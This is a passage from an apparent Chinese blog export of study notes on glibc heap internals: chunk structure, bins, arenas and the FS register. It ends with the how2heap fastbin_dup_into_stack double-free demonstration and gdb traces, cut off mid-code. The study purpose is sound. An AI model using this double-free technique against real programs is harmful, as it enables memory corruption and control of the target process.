30ARCH_GET_FS = 0x1003ARCH_GET_GS = 0x1004 @property @pwndbg.memoize.reset_on_stop def fsbase(self): return self._fs_gs_helper(ARCH_GET_FS)\n\n所以结论是,内核向用户提供了接口,用户是能够间接访问FS寄存器的,通过arch_prctl即可。\n综上所述,最后来回答一下开始的几个问题吧。\n问题一:\n\nFS寄存器里放些什么?\n答:放的是一个指针,它会指向一个TLS结构体(对于单线程,或许用TCB更加准确)\n\n问题二:\n\nFS究竟在哪?\n答:这是我最开始学习时产生的误解,我误以为FS并不实际存在,而是虚拟出的一个寄存器。但现在我们知道,FS是真真正正在硬件上存在的寄存器。\n\n问题三:\n\n究竟如何获取FS的内容?\n答:一般的,gdb里直接用fsbase指令就能获取了,或者手动使用call调用arch_prctl也不是不行,内核已经提供了获取fsbase的接口了。\n\n问题四:\n\nFS寄存器的结构是什么?\n上文的图片给出了。\n\n最后,我觉得有点意外也有些特殊的是,在64位模式下,CS、DS、ES、SS寄存器将被直接弃用。这显得有些怪异,毕竟一直以来我都觉得计算机设计得可谓是将冗余降到最低。现在突然多出了几个完全不被使用的寄存器,有点意外。\n另外再记录几项资料:\nhttps://stackoverflow.com/questions/28209582/why-are-the-data-segment-registers-always-null-in-gdb\nhttps://stackoverflow.com/questions/11497563/detail-about-msr-gs-base-in-linux-x86-64\nhttps://stackoverflow.com/questions/23095665/using-gdb-to-read-msrs/59125003#59125003\nhttps://dere.press/2020/10/18/glibc-tls/\nhttps://github.com/pwndbg/pwndbg/blob/89b2df582a323b98c04c5d35e3323ad291514f63/pwndbg/regs.py#L268\nA possible end to the FSGSBASE saga [LWN.net]\n插画ID:93763504\n","categories":["Note","杂物间"]},{"title":"关于如何理解Glibc堆管理器(Ⅰ——堆结构)","url":"/2021/08/07/glibc-1/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\n首先从 什么是堆 开始讲起吧。        在操作系统加载一个应用程序的时候,会为程序创建一个独立的进程,这个进程拥有着一套独立的内存结构。大致结构如下图:\n​\n         进程在运行之处会创建一块固定大小的堆空间,但当用户需要申请一块超出已有堆空间大小的内存时,操作系统就会调用**sbrk函数(也有其他类似功能的函数)**来延申这块空间\n        但正如我们所见,这样的拓展大小的方式似乎还是有极限的。当即便用sbrk去拓展Heap,也不能够满足用户的需求的时候(至少堆不能覆盖到栈上去,对吧?),操作系统就会使用mmap来为进程开辟额外的空间,这些空间可以被视为“虚拟内存”,它们不需要时刻都加载在内存中,因此能够大大提升堆的空间\n        当然,如果即便如此也不能够满足用户所需要的空间,那这个申请空间的操作就会失败,例如malloc,它会返回一个NULL\n        并且,上图还显示了堆在内存中的结构——一段连续的内存块,记住这个特点将对接下来的理解很有帮助\n如下为一个堆的结构体申明:\nstruct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).*/ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead.*/ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };\n\n\n        这可能会给人一种反直觉的印象,因为这个堆结构体似乎太小了,根本不能够像我们印象里的那样去存放数据\n        因此这里需要介绍一下Glibc中堆的寻址方式——隐式链表\n​\n         尽管上图已经很详尽的介绍了堆的存放,但我仍然有必要多做些说明\n        操作系统会将堆划分成多个chunk以分配给程序,也就是malloc请求到的实则是一个chunk\n        而malloc返回的指针实则是指向**chunk+16(在x86中则是+8)**处的地址,究其原因就是因为结构体中的如下两项\nINTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).*/INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead.*/\n\n\n        只有这两个数据是常驻于结构体中的(这句话有些晦涩,现在看不懂也没关系)\n        它们分别表示上一个chunk的大小和当前chunk的大小,那既然我们能够知道上一个chunk的大小,通过简单的加法就能够找到上一个chunk的位置了,这种方法就被称为隐式链表\n        而在mchunk_size的下面就是用来储存用户需要的数据\n        显然,如果从这个地方开始储存数据,上面给出的结构体就会被破坏了,因为另外四个成员无处安放了,但对于一个正被使用的chunk来说,这是无关紧要的,因此才说它们并不常驻(其中原因牵涉了其他,也将在下文叙述)\n        (但请注意,chunk块的申请是要符合**16字节(或8字节)**对齐的,尽管用户申请的时候看起来相当随意,但操作系统仍然会返回对齐后的堆结构)\n        同时,为了节省资源,mchunk_size的最后三位将用来储存额外的标志位,其意义这里不再赘述,但这里需要再一次强调的是,最后一位 P标记位 指示了上一个chunk是否处于被使用状态\n 尽管它们被用作标记,但在计算chunk大小的时候,我们会默认它们为0以计算合理大小\n 例如(二进制)1000101:Size=1000000,A=1,M=0,P=1\n实际操作:示范程序:\n#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h>int main(){unsigned long long *chunk1, *chunk2;chunk1=(unsigned long long)malloc(0x80);chunk2=(unsigned long long)malloc(0x80);printf("Chunk1:%p",chunk1);printf("Chunk2:%p",chunk2);return 0;}\n\n\n         通过如下命令去编译这个文件\ngcc -g heap.c -o heap\n\n\n        然后用gdb调试heap文件,我们将断点定在第11行,查看此时的堆\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602090 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602120 PREV_INUSE { prev_size = 0x0, size = 0x20ee1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        可以看出,我们申请的chunk大小为0x80,但实际返回的chunk却有0x90(最后的1为标志位)\n        同时,它们是严格的按照堆的顺序往下开辟的,从0x602000到0x602090,没有其他空挡\n        而0x602120是则是被称为“Top chunk”的堆结构,在当前的堆仍然充足的时候,操作系统通过分割Top Chunk来提供malloc的服务\ngdb-peda$ p chunk1$1 = (unsigned long long *) 0x602010gdb-peda$ p chunk2$2 = (unsigned long long *) 0x6020a0\n\n\n        而查看chunk1的内容,发现它指向0x602010而不是0x602000\n        这也作证了前面所说的内容,在这空挡的16字节中储存了常驻的那两个成员,而其他成员则被舍弃了\n图片来源:https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/ ​\n插画ID:72077484\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅹ——完结、补充、注释——Arena、heap_info、malloc_*)","url":"/2021/08/07/glibc-10/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        截至到本节内容,该系列算是正式完结了,后续或许会有补充,但基本上都将添加在本节内容中。在前几节中,笔者已经按照自己的思路尽可能详尽的将Glibc的堆管理器Ptmalloc2的方式做了一定的介绍,尽管Ptmalloc2的内容肯定不止这些,但已能大致了解其工作方式了\n        但也有一些必要的内容未曾在前几节中放出,诸如突然出现的Arena,以及Heap的结构等内容没能展开介绍,因此将这些内容补充在本系列最后一节\nheap_info结构体:typedef struct _heap_info{ mstate ar_ptr; /* Arena for this heap. */ struct _heap_info *prev; /* Previous heap. */ size_t size; /* Current size in bytes. */ size_t mprotect_size; /* Size in bytes that has been mprotected PROT_READPROT_WRITE. */ /* Make sure the following data is properly aligned, particularly that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of MALLOC_ALIGNMENT. */ char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];} heap_info;\n\n\n        每一个新开辟的堆都有一个独立的heap_info结构体\n\n        ar_ptr指针指向一个为该堆服务的arena\n      prev指针指向上一个堆的heap_info结构体\n        size记录了堆的大小\n        mprotect_size记录了堆中多大的空间是可读写的\n        pad字符串则用以堆其该结构体,使其能够按照0x10字节对齐(x86中则是8字节对齐)\n\n        这里引用CTF-WIKI中对pad的解释:\n\npad 里负数的缘由是什么呢?\n pad 是为了确保分配的空间是按照 MALLOC_ALIGN_MASK+1 (记为 MALLOC_ALIGN_MASK_1) 对齐的。在 pad 之前该结构体一共有 6 个 SIZE_SZ 大小的成员, 为了确保 MALLOC_ALIGN_MASK_1 字节对齐, 可能需要进行 pad,不妨假设该结构体的最终大小为 MALLOC_ALIGN_MASK_1*x,其中 x 为自然数,那么需要 pad 的空间为 MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ = (MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ) % MALLOC_ALIGN_MASK_1 = 0 - 6 * SIZE_SZ % MALLOC_ALIGN_MASK_1=-6 * SIZE_SZ % MALLOC_ALIGN_MASK_1 = -6 * SIZE_SZ & MALLOC_ALIGN_MASK \n\nmalloc_state:struct malloc_state{ /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem;};\n\n\n\n          __libc_lock_define (, mutex):笔者将其理解为一个开关(锁),如果某个线程对这个堆进行操作时,就会将这个堆锁住,组织其他线程对这个堆的操作,直到其他线程发现这个变量被解开了,那么才会排队进行操作(笔者称锁住时为占用,否则为空闲)\n        flags:一个二进制数,bit0记录FastBins中是否有空闲块,bit1 标识分配区是否能返回连续的虚拟地址空间,具体定义见下面的定义表\n      fastbinsY[NFASTBINS]:一个存放了每个Fast Bin链表头指针的数组\n        top:指向堆中的Top chunk\n        last_reminder:指向最新切割chunk后剩余的部分\n        bins:用于存放各类Bins结构的数组\n       binmap:用来表示堆中是否还有空闲块\n      **  next:**指向下一个相同类型结构体\n    next_free:指向下一个空闲的arena\n        attached_threads:指示有多少个线程连接这个堆\n        system_mem/max_system_mem:表示系统为这个堆分配了多少空间\n\n/* FASTCHUNKS_BIT held in max_fast indicates that there are probably some fastbin chunks. It is set true on entering a chunk into any fastbin, and cleared only in malloc_consolidate. The truth value is inverted so that have_fastchunks will be true upon startup (since statics are zero-filled), simplifying initialization checks. */#define FASTCHUNKS_BIT (1U)#define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0)#define clear_fastchunks(M) catomic_or(&(M)->flags, FASTCHUNKS_BIT)#define set_fastchunks(M) catomic_and(&(M)->flags, ~FASTCHUNKS_BIT)/* NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous regions. Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls. The initial value comes from MORECORE_CONTIGUOUS, but is changed dynamically if mmap is ever used as an sbrk substitute. */#define NONCONTIGUOUS_BIT (2U)#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)#define set_noncontiguous(M) ((M)->flags = NONCONTIGUOUS_BIT)#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)/* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the arena. Such an arena is no longer used to allocate chunks. Chunks allocated in that arena before detecting corruption are not freed. */#define ARENA_CORRUPTION_BIT (4U)#define arena_is_corrupt(A) (((A)->flags & ARENA_CORRUPTION_BIT))#define set_arena_corrupt(A) ((A)->flags = ARENA_CORRUPTION_BIT)\n\n\nmalloc_par:struct malloc_par{ /* Tunable parameters */ unsigned long trim_threshold; INTERNAL_SIZE_T top_pad; INTERNAL_SIZE_T mmap_threshold; INTERNAL_SIZE_T arena_test; INTERNAL_SIZE_T arena_max; /* Memory map support */ int n_mmaps; int n_mmaps_max; int max_n_mmaps; /* the mmap_threshold is dynamic, until the user sets it manually, at which point we need to disable any dynamic behavior. */ int no_dyn_threshold; /* Statistics */ INTERNAL_SIZE_T mmapped_mem; INTERNAL_SIZE_T max_mmapped_mem; /* First address handed out by MORECORE/sbrk. */ char *sbrk_base;#if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache. */ size_t tcache_unsorted_limit;#endif};\n\n\n        trim_threshold:收缩阈值,默认为128KB,当Top chunk大小超过该值时,调用free将可能引起堆的收缩,减少Top chunk的大小\n        如下内容摘自:https://www.lihaoranblog.cn/malloc_par/\n\n        在一定的条件下,调用free时会收缩内存,减小top chunk的大小。由于mmap分配阈值的动态调整,在free时可能将收缩阈值修改为mmap分配阈值的2倍,在64位系统上,mmap分配阈值最大值为32MB,所以收缩阈值的最大值为64MB,在32位系统上,mmap分配阈值最大值为512KB,所以收缩阈值的最大值为1MB。收缩阈值可以通过函数mallopt()进行设置\n\n        top_pad:默认为0,表示分配堆时是否添加了额外的pad\n        mmap_threshold:mmap分配阈值,默认为128K;32位中最大位512KB,64位中最大位32MB,但mmap会动调调整分配阈值,因此这个值可能会修改\n        arena_test/arena_max:\n        如下内容摘自:https://www.lihaoranblog.cn/malloc_par/\n\n   arena_test和arena_max用于PER_THREAD优化,在32位系统上arena_test默认值为2,64位系统上的默认值为8,当每个进程的分配区数量小于等于arena_test时,不会重用已有的分配区。为了限制分配区的总数,用arena_max来保存分配区的最大数量,当系统中的分配区数量达到arena_max,就不会再创建新的分配区,只会重用已有的分配区。这两个字段都可以使用mallopt()函数设置。\n\n        n_mmaps:当前堆用mmap分配内存块的数量\n        n_mmaps_max:当前堆用mmap分配内存块的最大数量,默认65536,可修改\n        no_dyn_threshold:默认为0,表示开启mmap分配阈值动调调整\n        mmapped_mem/max_mmapped_mem:统计mmap分配的内存大小,通常两值相等\n        在使用Tcache的情况下:\n        tcache_bins/tcache_max_bytes:Tcache链表数量,不会超过tcache_max_bytes\n        tcache_count:每个链表最多可挂的节点数\n        tcache_unsorted_limit:可从Unsorted Bin中拿出chunk的最大数量\nArena:        可能有的文章会将其翻译成“竞技场”,但笔者仍然会用“Arena”去称呼它\n        通常,一个线程只会有一个Arena,主线程的叫做Main_Arena,其他线程的叫做Thread_Arena,但Arena的数量并不会随着线程数而无限增加。其数量上限与系统和处理器核心数相关:\n32位系统中: Number of arena = 2 * number of cores + 1.64位系统中: Number of arena = 8 * number of cores + 1\n\n\n\nCTF-WIKI: 与 thread 不同的是,main_arena 并不在申请的 heap 中,而是一个全局变量,在 libc.so 的数据段。\n\n         正如上述的malloc_par结构体中arena_test参数所说,如果当前Arena的数量小于arena_test,那么堆管理器就会在其他线程创建堆结构的时候为其另外创建一个Arena\n        但如果数量超过了arena_test,那么只在需要的时候才会创建(比如某线程发现其他Arena全都被占用了,为了不因为等待排队而浪费掉时间,于是另外开辟新的Arena)\n笔者对Arena的理解为:\n        一个Arena包括了一系列的堆(可能有的读者会把额外开辟的空间归并到同一个堆里,但笔者习惯于将额外开辟的内存块称为“新堆”以区别最早初始化时的堆,笔者称之为“主堆”,这样在解释内存收缩时,能够将其理解为“归还主堆以外的堆”)\n        在之前的调试中也曾发现,main_arena似乎存在于栈上,而在CTF-WIKI中将其描述为全局变量。每个Arena都有自己的一套malloc_state、malloc_par、heap_info结构体,Arena中的一系列堆通过Arena进行管理(这样解释似乎有些怪异因为malloc_state结构体中存在指向Arena的指针,但也有一定的合理性,它在某种程度上方便了笔者的理解)\n        可以先假设这样一个场景:\n        某个进程存在两个线程A、B并发运行,存在一个chunk p。现在,线程A进行free(p),而线程B则要往chunk p处写入一些数据。假设A稍快一点,它先被处理器进行处理,那么系统就要先阻塞线程B的请求,直到线程A的事情已经做完了为止。当线程A结束了,系统就会发现这块地址不可写,然后阻止它进行这个操作\n        但是,阻塞是一件非常耗时的工作。如果只有少量这种情况发生,似乎也不是不能接受这种开销,但如果需要处理大量的多线程工作,这种阻塞就将带来严重的浪费。\n        如果我们为不同的线程开辟不同的Arena,每个Arena都有自己的Bins,那么线程B就不需要等待线程A,可以直接操作自己的Arena去申请或是释放chunk\n        当然,实际调试中会发现,我们开辟的chunk总是在Arena下方(往高地址处),我们也可以将其理解为每个线程自己的一个“主堆”,这样就能避开那些“可以不使用堆锁的情况”\n​ ​\n插画ID:91629597\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅱ——Free与Bins)","url":"/2021/08/07/glibc-2/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\nFree与Bins:        malloc如果一旦和free混用,情况就变得复杂了。我们可以先思考一下下面的问题:\n\n        如果只能malloc的话,那么内存最终必然会被消耗殆尽,因此free函数的存在是必须的。\n        假设我连续申明了A,B,C,D四个chunk,并且现在释放掉了B\n        倘若我现在需要申请一块刚好比B大16字节的chunk E,那么B就不能使用了,我们只能从C后面去找\n        又倘若这种情况非常多,那么就可能会有很多的内存被这样浪费掉了\n        如果我们现在又释放掉了C,那么E就能够从A和D之间申请了,但操作系统如果没有将B和C进行合并,那么就会以为是两块刚好不足的内存,我们仍然只能从D后面去找地方开辟空间,就会浪费更多的内存。\n\n        为了解决包括上述问题在内的诸多浪费问题,free有一套明确的策略(适用于教早的版本,与现代稍有出入,但思路是一致的):\n1.如果Size中M位被标记,表明chunk由mmap分配,则直接将其归还给系统\n2.否则,如果该chunk的P位未标记,表明上一个chunk处于释放,向上合并成更大的chunk\n3.如果chunk的下一个chunk未被使用,则向下合并为更大的chunk\n4.如果chunk与Top Chunk相邻,就直接与其合并\n5.否则,放入适当的Bins中\n        现代堆管理器建立了一系列的Bins以储存不久前被释放的chunk,包括:SmallBin,LargeBin,UnsortedBin,FastBin,TcacheBin,前三种是最古老的版本,而后两种则是近代为了进一步优化效率而产生的,现在的管理器使用这五种来处理释放chunk的操作\nstruct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).*/ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead.*/ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };//再次抄写以方便查阅\n\n\nSmallBin:​\n        SmallBin共有62个。在 32 位系统上,小于 512 字节(或在 64 位系统上小于 1024 字节)的每个块都有一个相应的小 bin。由于每个小 bin 仅存储一种大小的块,因此它们会自动排序 \n        这些块则通过显示链表相互连接,通过FD POINTER和BK POINTER形成双向链表\nstruct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk;\n\n\n        在上一章中介绍过chunk的结构体,其中非常驻的前两个成员则在chunk被释放后发挥作用\n        由于我们已经不会再使用这个chunk了,因此操作系统能够直接覆盖掉原本的数据来为该chunk建立两个指针,并将它挂进链表的头部(取出时也从头部取出)\nLargeBin:​\n        总共63个。其存放的规则如图所示。由于它不像Small Bin那样每个Bin中只有固定大小的chunk,因此在Large Bin中会对chunk进行排序\nstruct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;\n\n\n        同时,在Large Bin中,最后两个指针也会发挥作用。\n        它们分别指向:下一个小于该大小的chunk和下一个大于该大小的chunk\n 且,最大的堆头的bk_nextsize指向最小的堆头;最小的堆头的fd_nextsize指向最大的堆头\n 例如:Bin 2中的第一个chunk的fd指针一个指向Bin 1中的第一个\n        (注:这两个指针仅对链表的头结点有意义,其他节点则没有这两个指针)\nUnsortedBin:​\n         结构如图,只有一个。其由来的解释摘抄自下文:\n\nThe heap manager improves this basic algorithm one step further using an optimizing cache layer called the “unsorted bin”. This optimization is based on the observation that often frees are clustered together, and frees are often immediately followed by allocations of similarly sized chunks. For example, a program releasing a tree or a list will often release many allocations for every entry all at once, and a program updating an entry in a list might release the previous entry before allocating space for its replacement.\n\n        大致意思就是:用户常常在释放资源后立刻由进行了一系列分配(比方说二叉树之类的,其更新需要释放又申请),如果立刻讲这些chunk放进Small Bin或者Large Bin,那上述情况的开销就会过大,延缓程序运行。因此程序会先从这个Bin中去寻找合适的chunk返回,如果没有合适的,才去其他Bins中寻找,如果还是没找到,那才会采取其他方式\n        这个链表是不进行排序的。在这个Bin中,堆管理器会立刻合并在物理地址上相邻的chunk。在malloc的时候会优先(如果大小较小,则可能先从Fast Bin开始)遍历这个Bin去找合适的内存地址\n        需要注意的是,malloc从该Bin中获取chunk的途径是 切割该Bin中已有的chunk,将足够大的空间返回给用户,而剩下的空间仍然保存在该Bin中,直到触发特定条件(当其无法满足malloc的申请,就会将所有内容放入合适的Bins中)\n        (注:先进先出)\nFast Bin:​\n        总共10个,均为单向链表,涵盖大小为 16、24、32、40、48、56、64、72、80 和 88 字节的chunk,同样不需要额外的排序操作。\n        但特殊的是,被放入这里的chunk并不会被标记为“未被利用”,即下一个chunk的P位不会被置零,这种表现像是还未被释放一样。\n\nThe downside of fastbins, of course, is that fastbin chunks are not “truly” freed or merged, and this would eventually cause the memory of the process to fragment and balloon over time. To resolve this, heap manager periodically “consolidates” the heap. This “flushes” each entry in the fast bin by “actually freeing” it, i.e., merging it with adjacent free chunks, and placing the resulting free chunks onto the unsorted bin for malloc to later use.\n\n         大致意思为:堆管理器会定期整理这个Bin,将其合并后投放到合适的Bin中\n\nThis “consolidation” stage occurs whenever a malloc request is made that is larger than a fastbin can service (i.e., for chunks over 512 bytes or 1024 bytes on 64-bit), when freeing any chunk over 64KB (where 64KB is a heuristically chosen value), or when malloc_trim or mallopt are called by the program.\n\n        当释放超过64 KB 的任何块时\n        每当发出大于fastbin可以服务的malloc请求时\n        程序调用malloc_trim或mallopt时\n        满足上述三种情况中任意一种,都会触发合并操作\nTcacheBin:​\n         在libc-2.23版本中还未创建这个结构,其主要目的是解决一个进程下多个线程对堆进行的异步操作问题而设计,由于这已经超出了本章内容,因此在这里不做特别说明,具体内容将放在第七章介绍\n额外说明:        Bins这一系列结构在底层的实现表现为一整个数组\n        数组的第一个元素指向Unsorted Bin\n        第二个到第六十三个则为Small Bin,以此类推,大致如下图:\n​\n        在gdb调试中可以通过bins查看到当前的Bins结构 \ndb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n参考文章:\nhttps://nightrainy.github.io/2019/05/06/glic%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#bins\nhttps://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/ ​\n插画ID:90945914\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)","url":"/2021/08/07/glibc-3/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\n环境与工具:        Ubuntu16.4 / gcc / (gdb)pwn-dbg\n        范例:howtoheap2\n搭建调试环境:git clone https://github.com/shellphish/how2heap.gitcd how2heapmake\n\n\n        对于GitHub可能速度过慢的情况,可以尝试使用Gitee拷贝仓库,再从Gitee处克隆仓库\nfastbin_dup_into_stack:我们有必要使用glibc2.23版本下的环境来进行这种调试。在更高版本中,已经修复了这个漏洞。这当然对系统来说是好事,但对于试图理解其原理的学习者来说,少一些限制往往能够更加快速的理解。\n        如下为源代码:(我并未做出删减,以方便让说明与调试过程相统一)\n#include <stdio.h>#include <stdlib.h>int main(){fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\\n" "returning a pointer to a controlled location (in this case, the stack).\\n");unsigned long long stack_var;fprintf(stderr, "The address we want malloc() to return is %p.\\n", 8+(char *)&stack_var);fprintf(stderr, "Allocating 3 buffers.\\n");int *a = malloc(8);int *b = malloc(8);int *c = malloc(8);fprintf(stderr, "1st malloc(8): %p\\n", a);fprintf(stderr, "2nd malloc(8): %p\\n", b);fprintf(stderr, "3rd malloc(8): %p\\n", c);fprintf(stderr, "Freeing the first one...\\n");free(a);fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\\n", a, a);// free(a);fprintf(stderr, "So, instead, we'll free %p.\\n", b);free(b);fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\\n", a);free(a);fprintf(stderr, "Now the free list has [ %p, %p, %p ]. ""We'll now carry out our attack by modifying data at %p.\\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "1st malloc(8): %p\\n", d);fprintf(stderr, "2nd malloc(8): %p\\n", malloc(8));fprintf(stderr, "Now the free list has [ %p ].\\n", a);fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\\n""so now we are writing a fake free size (in this case, 0x20) to the stack,\\n""so that malloc will think there is a free chunk there and agree to\\n""return a pointer to it.\\n", a);stack_var = 0x20;fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\\n", malloc(8));fprintf(stderr, "4th malloc(8): %p\\n", malloc(8));}\n\n\n调试阶段:test@ubuntu:~/how2heap/glibc_2.23$ gdb fastbin_dup_into_stack gdb-peda$ b 14Breakpoint 1 at 0x40071d: file glibc_2.23/fastbin_dup_into_stack.c, line 14.gdb-peda$ b 23Breakpoint 2 at 0x4007bc: file glibc_2.23/fastbin_dup_into_stack.c, line 23.gdb-peda$ b 29Breakpoint 3 at 0x400806: file glibc_2.23/fastbin_dup_into_stack.c, line 29.gdb-peda$ b 32Breakpoint 4 at 0x40082f: file glibc_2.23/fastbin_dup_into_stack.c, line 32.gdb-peda$ b 36Breakpoint 5 at 0x40086a: file glibc_2.23/fastbin_dup_into_stack.c, line 36.gdb-peda$ run\n\n\n        可以在如上位置下断点,然后开始调试程序。\n         通过continue和n运行到24行,也就是第一次执行free函数的位置,输入bins可以查看当前bins中的内容\ngdb-peda$ binsfastbins0x20: 0x603000 ◂— 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n        可以看见,此时,fastbins中已经有了第一个节点。继续往下,直到第二次free结束时\ngdb-peda$ binsfastbins0x20: 0x603020 —▸ 0x603000 ◂— 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n        可以看见,此时第二个节点也挂进fastbins链表的头部了。继续往下调试,直到第三个free函数被执行:\ngdb-peda$ binsfastbins0x20: 0x603000 —▸ 0x603020 ◂— 0x6030000x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\ngdb-peda$ heap0x603000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x603020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21}0x603020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x603000, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21}0x603040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fa1}0x603060 PREV_INUSE { prev_size = 0x0, size = 0x20fa1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        可以看见,此时堆中的两个chunk在FastBins的链表中形成了一个闭环。\n        这是一个非常反直觉的行为,因为我们执行了两次free(a),并且系统并没有报错\n       (注:笔者在Kali2021版本中以相同代码进行调试则会出现报错,在该版本中已经存在Tcache Bins,示例中的free函数会将chunk放入Tcache Bins中而不是Fast Bins,因此调试失败)\n         联系上一章内容,Fast Bins中的chunk并不是真正处于释放状态,因此系统在执行free函数的时候检查当前chunk的状态时会发现它仍然在被使用,因此我们可以多次进行free(a)的操作而不出现错误\n        但这并不意味着系统不会做出检查:下方代码摘自ctf-wik,有删减\n/* Lightweight tests: check whether the block is already the top block. */// 当前free的chunk不能是top chunkif (__glibc_unlikely(p == av->top)) { errstr = "double free or corruption (top)"; goto errout;}// 当前要free的chunk的使用标记没有被标记,double free/* Or whether the block is actually not marked used. */if (__glibc_unlikely(!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout;} \n\n\n        根据注释可知,free函数的检查只判断当前目标是否处于Top chunk,也就是链表的头部。由于我们free(b)的执行,此时Top Chunk为chunk b,并且由于处在Fast Bins中,因此也绕过了第二个检查,所以成功对 a 进行了两次free操作\n        接下来的内容请根据如下代码进行调试:\n#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h>int main(){int *a = malloc(8);int *b = malloc(8);free(a);free(b);free(a);int *c = 